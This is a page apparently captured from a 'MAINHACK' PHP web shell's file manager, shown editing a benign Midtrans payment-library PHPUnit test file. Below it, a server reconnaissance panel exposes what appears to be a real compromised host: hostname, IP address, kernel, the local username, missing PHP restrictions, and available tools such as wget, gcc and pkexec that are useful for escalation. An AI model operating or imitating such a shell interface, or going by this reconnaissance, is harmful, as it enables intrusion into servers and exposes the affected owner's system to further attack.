[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MidtransSnapTest.php
<?php namespace Midtrans; class MidtransSnapTest extends \PHPUnit_Framework_TestCase { public function testGetSnapToken() { Config::$serverKey = 'MyVerySecretKey'; Config::$appendNotifUrl = "https://example.com"; Config::$overrideNotifUrl = "https://example.com"; MT_Tests::$stubHttp = true; MT_Tests::$stubHttpResponse = '{ "token": "abcdefghijklmnopqrstuvwxyz" }'; MT_Tests::$stubHttpStatus = array('http_code' => 201); $params = array( 'transaction_details' => array( 'order_id' => "Order-111", 'gross_amount' => 10000, ) ); $tokenId = Snap::getSnapToken($params); $this->assertEquals("abcdefghijklmnopqrstuvwxyz", $tokenId); $this->assertEquals( "https://app.sandbox.midtrans.com/snap/v1/transactions", MT_Tests::$lastHttpRequest["url"] ); $this->assertEquals( 'MyVerySecretKey', MT_Tests::$lastHttpRequest["server_key"] ); $fields = MT_Tests::lastReqOptions(); $this->assertEquals(1, $fields["POST"]); $this->assertTrue(in_array('X-Append-Notification: https://example.com', $fields["HTTPHEADER"])); $this->assertTrue(in_array('X-Override-Notification: https://example.com', $fields["HTTPHEADER"])); $this->assertEquals( $fields["POSTFIELDS"], '{"credit_card":{"secure":false},' . '"transaction_details":{"order_id":"Order-111","gross_amount":10000}}' ); } public function testGrossAmount() { $params = array( 'transaction_details' => array( 'order_id' => rand() ), 'item_details' => array( array( 'price' => 10000, 'quantity' => 5 ) ) ); MT_Tests::$stubHttp = true; MT_Tests::$stubHttpResponse = '{ "token": "abcdefghijklmnopqrstuvwxyz" }'; MT_Tests::$stubHttpStatus = array('http_code' => 201); $tokenId = Snap::getSnapToken($params); $this->assertEquals( 50000, MT_Tests::$lastHttpRequest['data_hash']['transaction_details']['gross_amount'] ); } public function testOverrideParams() { $params = array( 'echannel' => array( 'bill_info1' => 'bill_value1' ) ); MT_Tests::$stubHttp = true; MT_Tests::$stubHttpResponse = '{ "token": "abcdefghijklmnopqrstuvwxyz" }'; MT_Tests::$stubHttpStatus = array('http_code' => 201); $tokenId = Snap::getSnapToken($params); $this->assertEquals( array('bill_info1' => 'bill_value1'), MT_Tests::$lastHttpRequest['data_hash']['echannel'] ); } public function testRealConnect() { $params = array( 'transaction_details' => array( 'order_id' => rand(), 'gross_amount' => 10000, ) ); try { $tokenId = Snap::getSnapToken($params); } catch (\Exception $error) { $errorHappen = true; $this->assertContains( "authorized", $error->getMessage() ); } $this->assertTrue($errorHappen); } public function tearDown() { MT_Tests::reset(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002